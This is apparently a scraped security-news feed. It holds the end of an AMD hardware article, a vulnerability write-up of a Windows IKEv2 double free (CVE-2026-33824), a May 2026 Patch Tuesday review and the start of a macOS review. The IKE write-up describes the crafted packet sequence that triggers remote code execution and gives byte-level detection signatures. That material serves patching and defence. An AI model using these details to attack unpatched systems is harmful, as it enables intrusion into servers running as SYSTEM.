AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.

The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.

Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.

Execution for AMD is now the test

AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.

AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.

As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.

This article is published as part of the Foundry Expert Contributor Network.
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]]> <![CDATA[KDnuggets Weekly Roundup: Week of July 20, 2026]]> https://tsecurity.de/de/3694721/ai-nachrichten/kdnuggets-weekly-roundup-week-of-july-20-2026/ https://tsecurity.de/de/3694721/ai-nachrichten/kdnuggets-weekly-roundup-week-of-july-20-2026/ Sat, 25 Jul 2026 19:49:38 +0200 🔧 AI Nachrichten tsecurity.de <![CDATA[CVE-2026-33824: Remote Code Execution in Windows IKEv2]]> https://tsecurity.de/de/3694570/hacking/cve-2026-33824-remote-code-execution-in-windows-ikev2/ https://tsecurity.de/de/3694570/hacking/cve-2026-33824-remote-code-execution-in-windows-ikev2/ Sat, 25 Jul 2026 19:02:57 +0200 đŸ•”ïž Hacking tsecurity.de In this excerpt of a TrendAI Research Services vulnerability report, Richard Chen and Lucas Miller of the TrendAI Research team detail a recently patched double free vulnerability in the Windows Internet Key Exchange (IKE) service. This bug was originally discovered by WARP & MORSE team at Microsoft. Successful exploitation could result in a crash of the IKEEXT service, or potentially arbitrary code execution. The following is a portion of their write-up covering CVE-2026-33824, with a few minimal modifications.

A double free vulnerability has been reported in the Windows Internet Key Exchange (IKEv2) service. The vulnerability is due to an error when processing fragments.

An unauthenticated, remote attacker could exploit this vulnerability by sending crafted packets to the target server. Successful exploitation could result in a crash of the IKEEXT service, or potentially arbitrary code execution.

The Vulnerability

Microsoft Windows is an operating system which includes both server and desktop components along with an easy-to-use GUI. All currently supported versions of Windows include Internet Key Exchange Protocol Extensions to support the Virtual Private Network (VPN) feature.

The VPN feature of Windows encrypts communication between hosts. ISAKMP is a negotiation protocol used by IPsec-enabled hosts to build a security association. It uses the Internet Key Exchange (IKE) Protocol in order to negotiate keys for encrypted communication. IKE has two versions: IKEv1 and IKEv2. IKE version 1 (IKEv1) and version 2 (IKEv2) messages have the following general format:

The type of payload is determined by the Next Payload header of the previous payload, or the Next Payload field in the header (in the case of the first payload).

IKEv2 supports message fragmentation as defined in RFC 7383. When IKEv2 messages exceed the path MTU, they may be split into multiple Encrypted Fragment payloads. Of interest to this report is the Encrypted Fragment (SKF) payload (type 0x35). The SKF payload format is defined as:

When an IKEv2 implementation receives fragments, it inserts each fragment into an ordered list and reassembles them once all fragments have been received. In the Windows implementation, the function IkeReinjectReassembledPacket() performs this reassembly.

A double-free vulnerability has been reported in the Windows IKE Extension library (ikeext.dll). The vulnerability is due to improper ownership handling of a heap-allocated blob pointer during IKEv2 fragment reassembly. During the IKE_SA_INIT exchange, a Security Realm Vendor ID payload causes IkeHandleSecurityRealmVendorId() to allocate a blob and store it in the MMSA (Main Mode Security Association) structure at offset 0x208. When a fragmented IKE_AUTH message is fully reassembled, IkeReinjectReassembledPacket copies MMSA fields at offsets 0x178 through 0x21F - including the blob pointer at 0x208 - into a local stack struct. This struct is then passed to IkeQueueRecvRequest, which shallow-copies it into a heap-allocated work item. While IkeQueueRecvRequest deep-copies the reassembly buffer at offset 0x10 in the struct, the Security Realm blob pointer at offset 0xC8 remains a shallow copy, aliasing the original at MMSA+0x208.

When the thread pool processes the queued work item, IkeDestroyPacketContext checks the blob pointer at offset 0xC8 and calls WfpMemFree to release it (first free). The MMSA structure still holds the original pointer to the same allocation at offset 0x208. When the MMSA is subsequently cleaned up through IkeCleanupMMNegotiation, the SA reference count is decremented via IkeDerefMMSA, eventually triggering IkeFreeMMSA, which frees the blob pointer at MMSA offset 0x208 - the same allocation already freed by IkeDestroyPacketContext (second free).

A remote, unauthenticated attacker could exploit this vulnerability by sending a crafted IKE_SA_INIT message followed by two or more Encrypted Fragment (SKF) payloads containing an invalid IKE_AUTH message to the target server. The fragment reassembly path will shallow-copy the blob pointers, and the subsequent MMSA cleanup will trigger the double free. Successful exploitation could result in arbitrary code execution under the security context of the IKEEXT service (SYSTEM).

Source Code Walkthrough

The following code snippets were taken from IKEEXT.DLL file version 10.0.20348.2849 and decompiled with IDA Pro version 8.3. Comments added by TrendAI have been highlighted.

Detection Guidance

To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on UDP ports 500 and 4500. The IKE general format, Payloads field, and the Encrypted Fragment (SKF) payload format can be seen above.

The detection device should monitor all incoming IKE traffic. Detection requires correlating two packets within the same IKE session: an IKE_SA_INIT request carrying the Microsoft Security Realm Vendor ID, followed by a fragmented IKE_AUTH request. Neither packet alone is malicious; both must be observed in sequence from the same source.

IKE_SA_INIT

At byte offset 17 of the UDP payload, the device should check for the three-byte sequence 20 22 08, which corresponds to the IKEv2 version identifier (0x20), the IKE_SA_INIT exchange type (0x22), and the Initiator flag (0x08). The device should then scan the remainder of the packet for the 16-byte sequence 68 6a 8c bd fe 63 4b 40 51 46 fb 2b af 33 e9 e8, which is the Microsoft Security Realm Vendor ID. If both conditions are met, the device should follow the guidance below.

IKE_AUTH

For subsequent packets from the same source, the device should check bytes at offset 16 through 23 of the UDP payload. At offset 16, the four-byte sequence 35 20 23 08 identifies an Encrypted Fragment payload (SKF, type 0x35), IKEv2 version (0x20), IKE_AUTH exchange type (0x23), and Initiator flag (0x08). If found, the detection device should inspect offset 20 and search for the four-byte sequence00 00 00 01. If found the traffic should be considered malicious; an attack exploiting this vulnerability is likely underway.

Notes
‱ All multi-byte values should be treated as big endian.
‱ When detecting traffic on port 4500, IKE packets are prepended by a 4-byte non-ESP marker (\x00\x00\x00\x00), shifting all IKE header content offsets by 4.

Conclusion

This vulnerability was patched by Microsoft in the April 2026 release cycle. They do note two mitigations that could prevent exploitation while the patch is being tested and deployed. 

·      Block inbound traffic on UDP ports 500 and 4500 for systems that do not use IKE.

·      For systems that require IKE, configure firewall rules to allow inbound traffic on UDP ports 500 and 4500 only from known peer addresses.

These mitigations may be removed once the security patch is applied. The only way to fully remediate the vulnerability is to apply the update from the vendor.

Special thanks to Richard Chen and Lucas Miller of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI Research services please visit https://go.trendmicro.com/tis/vulnerabilities.html.

The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on Twitter, Mastodon, LinkedIn, or Bluesky for the latest in exploit techniques and security patches.

]]> <![CDATA[The May 2026 Security Update Review]]> https://tsecurity.de/de/3694568/hacking/the-may-2026-security-update-review/ https://tsecurity.de/de/3694568/hacking/the-may-2026-security-update-review/ Sat, 25 Jul 2026 19:02:56 +0200 đŸ•”ïž Hacking tsecurity.de I’m currently in Berlin helping set up for Pwn2Own Berlin, but that doesn’t stop Patch Tuesday from coming, and it’s another big one. At least nothing is listed as being in the wild – for now. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. Due to technical difficulties, there will not be a video companion for this month.

Adobe Patches for May 2026

For May, Adobe released 10 bulletins addressing 52 unique CVEs in Adobe Commerce, After Effects, Adobe Connect, Illustrator, Media Encoder, Premiere Pro, Substance 3D Painter, Substance 3D Sampler, Content Authenticity SDK, and the Adobe Substance 3D Designer. Here’s this month’s overview table:

Bulletin ID Product CVE Count Highest Severity Highest CVSS Exploited Deployment Priority
APSB26-49 Adobe Commerce 15 Critical 8.7 No 2
APSB26-48 Adobe After Effects 4 Critical 7.8 No 3
APSB26-50 Adobe Connect 2 Critical 9.6 No 3
APSB26-51 Adobe Illustrator 4 Critical 7.8 No 3
APSB26-47 Adobe Media Encoder 2 Critical 7.8 No 3
APSB26-46 Adobe Premiere Pro 3 Critical 7.8 No 3
APSB26-55 Adobe Substance 3D Painter 2 Critical 7.8 No 3
APSB26-54 Adobe Substance 3D Sampler 1 Critical 7.8 No 3
APSB26-53 Content Authenticity SDK 14 Critical 7.5 No 3
APSB26-52 Adobe Substance 3D Designer 5 Important 6.3 No 3
TOTAL 10 bulletins 52

The obvious priority this month is the patch for Commerce, with its 15 bugs and deployment priority of 2. The Connect fix should also rank up there since both of its CVEs are CVSS 9s. Beyond those, it’s a pretty typical month for Adobe, with most of the bugs either being cross-site scripting (XSS) or open-and-own code executions.

Microsoft Patches for May 2026

This month, Microsoft released a whopping 138 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Copilot Chat, Github Copilot, M365 Copilot, SQL Server, TCP/IP, and the Telnet Client – yes, the Telnet client. Two of these bugs were reported through the TrendAI ZDI program. 30 of these bugs are rated Critical, three are rated as Moderate, one is rated Low, and the rest are rated Important in severity.

This large volume of fixes follows the largest monthly release in Microsoft’s history and reflects the trend across the industry of a high number of submissions. While not all of these bugs were found by AI, it’s likely they had an AI-related component – even if it was just AI writing the submission. I should also point out the Pwn2Own Berlin occurs in just a few days, and it’s typical for vendors to patch as much as they can before the event.

None of the bugs patched by Microsoft this month are listed as publicly known or under active attack at the time of release, so we’ve got that going for us. Let’s take a closer look at some of the more interesting updates for this month, starting with a nasty-looking bug in DNS:

-    CVE-2026-41096 - Windows DNS Client Remote Code Execution Vulnerability
This patch fixes a heap-based buffer overflow in the DNS Client triggered by a malicious DNS response. No authentication or user interaction needed, and since the DNS Client runs on virtually every Windows machine, the attack surface is enormous. An attacker with a position to influence DNS responses (MitM, rogue server) could achieve unauthenticated RCE across your enterprise.

-    CVE-2026-41089 - Windows Netlogon Remote Code Execution Vulnerability
This update covers another CVSS 9.8 bug, which is a stack-based buffer overflow that lets an unauthenticated remote attacker execute code on a domain controller by sending a specially crafted network request — no credentials, no user interaction required. Yup – that makes it wormable. This is the highest-impact bug that requires immediate patching: a compromised domain controller is a compromised domain.

-    CVE-2026-42898 - Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability
This bug rates a CVSS 9.9(!) and represents a code injection in Dynamics 365. It allows any authenticated user to execute code with a scope change, meaning exploitation can break out and affect resources beyond the vulnerable component itself. Scope changes are pretty rare, so if you’re running Dynamics 365 On-Prem, definitely test and deploy this patch quickly.

-    CVE-2026-40415 - Windows TCP/IP Remote Code Execution Vulnerability
This bug in the TCP/IP stack results from a use-after-free (UAF) and could allow a remote, unauthenticated threat actor to execute code without user interaction. That makes this another wormable bug. However, this one is much less likely to be exploited. The target needs to be under sustained low-memory (memory pressure) conditions, which is pretty rare. Still, no need to tempt fate here. Test and deploy this one quickly.

Here’s the full list of CVEs released by Microsoft for May 2026:

<![if supportMisalignedColumns]> <![endif]>
CVE Title Severity CVSS Public Exploited Type
CVE-2026-35435 Azure AI Foundry Elevation of Privilege Vulnerability Critical 8.6 No No EoP
CVE-2026-35428 Azure Cloud Shell Spoofing Vulnerability Critical 9.6 No No Spoofing
CVE-2026-42826 Azure DevOps Information Disclosure Vulnerability Critical 10 No No Info
CVE-2026-32207 Azure Machine Learning Notebook Spoofing Vulnerability Critical 8.8 No No Spoofing
CVE-2026-33109 Azure Managed Instance for Apache Cassandra Remote Code Execution Vulnerability Critical 9.9 No No RCE
CVE-2026-33844 Azure Managed Instance for Apache Cassandra Remote Code Execution Vulnerability Critical 9 No No RCE
CVE-2026-41105 Azure Monitor Action Group Notification System Elevation of Privilege Vulnerability Critical 8.1 No No EoP
CVE-2026-33111 Copilot Chat (Microsoft Edge) Information Disclosure Vulnerability Critical 7.5 No No Info
CVE-2026-26129 M365 Copilot Information Disclosure Vulnerability Critical 7.5 No No Info
CVE-2026-26164 M365 Copilot Information Disclosure Vulnerability Critical 7.5 No No Info
CVE-2026-33821 Microsoft Dynamics 365 Customer Insights Elevation of Privilege Vulnerability Critical 7.7 No No EoP
CVE-2026-42898 Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability Critical 9.9 No No RCE
CVE-2026-40379 Microsoft Enterprise Security Token Service (ESTS) Spoofing Vulnerability Critical 9.3 No No Spoofing
CVE-2026-40363 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-40358 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-34327 Microsoft Partner Center Spoofing Vulnerability Critical 8.2 No No Spoofing
CVE-2026-40365 Microsoft SharePoint Server Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-41103 Microsoft SSO Plugin for Jira & Confluence Elevation of Privilege Vulnerability Critical 9.1 No No EoP
CVE-2026-33823 Microsoft Team Events Portal Information Disclosure Vulnerability Critical 9.6 No No Info
CVE-2026-40364 Microsoft Word Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-40366 Microsoft Word Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-40361 Microsoft Word Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-40367 Microsoft Word Remote Code Execution Vulnerability Critical 8.4 No No RCE
CVE-2026-42831 Office for Android Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-41096 Windows DNS Client Remote Code Execution Vulnerability Critical 9.8 No No RCE
CVE-2026-35421 Windows GDI Remote Code Execution Vulnerability Critical 7.8 No No RCE
CVE-2026-40403 Windows Graphics Component Remote Code Execution Vulnerability Critical 8.8 No No RCE
CVE-2026-40402 Windows Hyper-V Elevation of Privilege Vulnerability Critical 9.3 No No EoP
CVE-2026-32161 Windows Native WiFi Miniport Driver Remote Code Execution Vulnerability Critical 7.5 No No RCE
CVE-2026-41089 Windows Netlogon Remote Code Execution Vulnerability Critical 9.8 No No RCE
CVE-2026-32175 .NET Core Tampering Vulnerability Important 4.3 No No Tampering
CVE-2026-32177 .NET Elevation of Privilege Vulnerability Important 7.3 No No EoP
CVE-2026-35433 .NET Elevation of Privilege Vulnerability Important 7.3 No No EoP
CVE-2025-54518 * AMD: CVE-2025-54518 CPU OP Cache Corruption Important No No RCE
CVE-2026-42899 ASP.NET Core Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-40381 Azure Connected Machine Agent Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-42823 † Azure Logic Apps Elevation of Privilege Vulnerability Important 9.9 No No EoP
CVE-2026-33833 Azure Machine Learning Notebook Spoofing Vulnerability Important 8.2 No No Spoofing
CVE-2026-32204 Azure Monitor Agent Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-42830 Azure Monitor Agent Metrics Extension Elevation of Privilege Vulnerability Important 6.5 No No EoP
CVE-2026-33117 Azure SDK for Java Security Feature Bypass Vulnerability Important 9.1 No No SFB
CVE-2026-41109 GitHub Copilot and Visual Studio Code Security Feature Bypass Vulnerability Important 8.8 No No SFB
CVE-2026-35424 Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-41614 M365 Copilot for Desktop Spoofing Vulnerability Important 6.2 No No Spoofing
CVE-2026-41100 Microsoft 365 Copilot for Android Spoofing Vulnerability Important 4.4 No No Spoofing
CVE-2026-40377 Microsoft Cryptographic Services Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-41094 Microsoft Data Formulator Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-40417 Microsoft Dynamics 365 Business Central Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-42833 Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability Important 9.1 No No RCE
CVE-2026-42838 Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability Important 5.4 No No EoP
CVE-2026-40360 Microsoft Excel Information Disclosure Vulnerability Important 7.8 No No Info
CVE-2026-40359 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-40362 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-42832 Microsoft Excel Spoofing Vulnerability Important 7.7 No No Spoofing
CVE-2026-34329 Microsoft Message Queuing (MSMQ) Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-40419 Microsoft Office Click-To-Run Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40418 Microsoft Office Click-To-Run Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-35436 Microsoft Office Click-To-Run Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-40420 Microsoft Office Click-To-Run Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-42893 Microsoft Outlook for iOS Tampering Vulnerability Important 7.4 No No Tampering
CVE-2026-40374 Microsoft Power Automate Desktop Information Disclosure Vulnerability Important 6.5 No No Info
CVE-2026-41102 Microsoft PowerPoint for Android Spoofing Vulnerability Important 7.1 No No Spoofing
CVE-2026-35439 Microsoft SharePoint Server Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-40368 Microsoft SharePoint Server Remote Code Execution Vulnerability Important 8 No No RCE
CVE-2026-33110 Microsoft SharePoint Server Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-33112 Microsoft SharePoint Server Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-40357 Microsoft SharePoint Server Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-32185 Microsoft Teams Spoofing Vulnerability Important 5.5 No No Spoofing
CVE-2026-41101 Microsoft Word for Android Spoofing Vulnerability Important 7.1 No No Spoofing
CVE-2026-35440 Microsoft Word Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-40421 Microsoft Word Information Disclosure Vulnerability Important 4.3 No No Info
CVE-2026-41097 Secure Boot Security Feature Bypass Vulnerability Important 6.7 No No SFB
CVE-2026-40370 † SQL Server Remote Code Execution Vulnerability Important 8.8 No No RCE
CVE-2026-41613 Visual Studio Code Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-41612 Visual Studio Code Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-41611 Visual Studio Code Remote Code Execution Vulnerability Important 7.8 No No RCE
CVE-2026-41610 Visual Studio Code Security Feature Bypass Vulnerability Important 6.3 No No SFB
CVE-2026-33839 Win32k Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-33840 Win32k Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34330 Win32k Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34331 Win32k Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-35423 Windows 11 Telnet Client Information Disclosure Vulnerability Important 5.4 No No Info
CVE-2026-35438 Windows Admin Center Elevation of Privilege Vulnerability Important 8.3 No No EoP
CVE-2026-41086 Windows Admin Center in Azure Portal Elevation of Privilege Vulnerability Important 8.8 No No EoP
CVE-2026-34344 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34345 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-35416 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-41088 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34343 Windows Application Identity (AppID) Subsystem Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-35418 Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-33835 Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34337 Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40407 Windows Common Log File System Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40397 Windows Common Log File System Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-42896 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-35419 Windows DWM Core Library Information Disclosure Vulnerability Important 5.5 No No Info
CVE-2026-34336 Windows DWM Core Library Information Disclosure Vulnerability Important 7.8 No No Info
CVE-2026-33834 Windows Event Logging Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-32209 Windows Filtering Platform (WFP) Security Feature Bypass Vulnerability Important 4.4 No No SFB
CVE-2026-33841 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-35420 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40369 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34332 Windows Kernel-Mode Driver Remote Code Execution Vulnerability Important 8 No No RCE
CVE-2026-34339 Windows Lightweight Directory Access Protocol (LDAP) Denial of Service Vulnerability Important 5.5 No No DoS
CVE-2026-34341 Windows Link-Layer Discovery Protocol (LLDP) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-33838 Windows Message Queuing (MSMQ) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34342 Windows Print Spooler Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-41095 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34340 Windows Projected File System Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-40398 Windows Remote Desktop Services Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21530 Windows Rich Text Edit Elevation of Privilege Vulnerability Important 6.7 No No EoP
CVE-2026-32170 Windows Rich Text Edit Elevation of Privilege Vulnerability Important 6.7 No No EoP
CVE-2026-40410 Windows SMB Client Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-35415 Windows Storage Spaces Controller Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34350 Windows Storport Miniport Driver Denial of Service Vulnerability Important 6.5 No No DoS
CVE-2026-40405 Windows TCP/IP Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-40414 Windows TCP/IP Denial of Service Vulnerability Important 7.4 No No DoS
CVE-2026-40401 Windows TCP/IP Denial of Service Vulnerability Important 6.2 No No DoS
CVE-2026-40413 Windows TCP/IP Denial of Service Vulnerability Important 7.4 No No DoS
CVE-2026-35422 Windows TCP/IP Driver Security Feature Bypass Vulnerability Important 6.5 No No SFB
CVE-2026-34351 Windows TCP/IP Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40399 Windows TCP/IP Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34334 Windows TCP/IP Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40406 Windows TCP/IP Information Disclosure Vulnerability Important 7.5 No No Info
CVE-2026-33837 Windows TCP/IP Local Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40415 Windows TCP/IP Remote Code Execution Vulnerability Important 8.1 No No RCE
CVE-2026-42825 Windows Telephony Service Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-34338 Windows Telephony Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40382 Windows Telephony Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40380 Windows Volume Manager Extension Driver Remote Code Execution Vulnerability Important 6.2 No No RCE
CVE-2026-40408 Windows WAN ARP Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34333 Windows Win32k Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34347 Windows Win32k Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-35417 Windows Win32k Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-42891 Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability Moderate 6.5 No No Spoofing
CVE-2026-35429 Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability Moderate 4.3 No No Spoofing
CVE-2026-41107 Microsoft Edge (Chromium-based) Information Disclosure Vulnerability Moderate 7.4 No No Info
CVE-2026-40416 Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability Low 4.3 No No Spoofing

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

 

Looking at the other Critical-rated bugs in this month’s release, there are quite a few scary-looking bugs (including a CVSS 10!), but there’s no action for the end user as Microsoft has already mitigated these bugs and is just now documenting them. There’s also this month’s crop of Office bugs where the Preview Pane is an attack vector. However, the bug in Office for Android does not have the Preview Pane vector; it’s simple open and own. The bug in the WiFi driver needs a network adjacent attacker. The SharePoint bug requires authentication, but anyone with site privileges has the authentication needed. The bug in SSO Plugin for Jira & Confluence should really be called an authentication bypass, since it allows an unauthenticated attacker to gain access to a system.

Looking at the other code execution bugs, most are of the open and own variety as expected. The bug in Dynamic 365 (On Prem) requires high privileges. The Message Queueing bug requires an adjacent attacker. The bug in SQL Server requires authentication, but as usual, patching won’t be straightforward. Finally, there’s a bug in the kernel that leads to code execution. Most kernel bugs are privilege escalations, but this one could allow code execution if an attacker sends specially crafted NVMe over Fabrics (NVMe‑oF) response messages during the connection handshake process that contains an invalid header length value. Neat.

As usual, the vast majority of the Microsoft release fixes Elevation of Privilege (EoP) bugs. Also as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. There are also a few bugs that just state the attacker could “gain ELEVATED privileges.” How obtuse. The bugs in Azure allow an attacker to access data otherwise hidden from them. The Edge bug allows threat actors to elevate to the privileges of the running application. The bug in Visual Studio allows attackers to get permissions associated with the MCP Server’s managed identity. Finally, there are a couple of sandbox escapes, too, which are always useful.

This month's update includes six Security Feature Bypass vulnerabilities. The most severe is in the Azure SDK for Java (CVSS 9.1). An attacker over the network can bypass the integrity protection provided by authentication tags on encrypted data, effectively manipulating encrypted input in a way that slips past integrity checks during decryption. Close behind is the bypass affecting the GitHub Copilot integration in Visual Studio Code (CWE-74). This one requires a user interaction, but it allows an attacker to circumvent the path validation safeguards that normally control which files Copilot is permitted to modify. The other Visual Studio Code bypass involves cross-site scripting, improper link resolution, and information exposure triggered when a user opens or views a maliciously crafted notebook. On the Windows networking side there are two bypasses. The first hits the Windows TCP/IP driver via an authentication bypass using an alternate channel. The other impacts the Windows Filtering Platform through improper access control, allowing a local, low-privileged attacker to bypass FQDN-based network security rules. Finally, there’s a Secure Boot bypass that, you guessed it, bypasses secure boot features.

Moving on to the Information Disclosure bugs fixed this month, we have 15 different CVEs. As usual, the majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The bug in Power Automate could expose data marked “Sensitive” within Power Automate Desktop flows. One of the Word bugs could disclose NLTM hashes. The bug in Edge could disclose your cookies, which seems rude. The bug in Visual Studio could expose file path information. Finally, there’s a bug in Telnet for Windows 11 that leaks information being used by Telnet at the time. I didn’t even realize Windows 11 still had a telnet client.

The May release contains 10 spoofing bugs (plus the ones already addressed by Microsoft). The bug in Azure Machine Learning Notebooks vulnerability requires user interaction, but it could expose info through the Azure ML web interface to the attacker. There’s a cluster of fixes for Microsoft's mobile Office suite on Android. Excel, Word, and PowerPoint for Android all carry spoofing flaws rooted in improper access control. Two Copilot products are also affected by spoofing vulns. The M365 Copilot for Desktop has no details provided. The M365 Copilot for Android variant requires low privileges and producing only limited impact on confidentiality and integrity. Microsoft Teams for Android rounds out the mobile app spoofing bugs. Three Edge bugs close things out, all involving misrepresentation of information in the browser UI.

There are two Tampering bugs in this month’s release. The one in .NET Core allows threat actors to write files to an affected system. The other is in Outlook for iOS and manifests as a command injection bug.

There are eight DoS bugs in the May release, but as always, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting from a practical standpoint are two TCP/IP bugs that allow a low-privilege Hyper-V guest to crash the host. Both are triggered from the adjacent network. On the broader network-exposure side, the ASP.NET Core bug is a straightforward infinite loop condition — an unauthenticated attacker sends a crafted request over the network and the server stops responding.

No new advisories are being released this month.

Looking Ahead

Assuming I survive Pwn2Own Berlin (which is looking iffy at the moment), I’ll return on June 9th on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

]]> <![CDATA[The Apple macOS Security Update Review]]> https://tsecurity.de/de/3694569/hacking/the-apple-macos-security-update-review/ https://tsecurity.de/de/3694569/hacking/the-apple-macos-security-update-review/ Sat, 25 Jul 2026 19:02:56 +0200 đŸ•”ïž Hacking tsecurity.de We’ve received some feedback from those who read the Patch Blog that they would like something similar for macOS updates. Unfortunately, Apple doesn’t schedule these for a particular day, but we can provide our thoughts and analysis on the days they do release their latest patches.

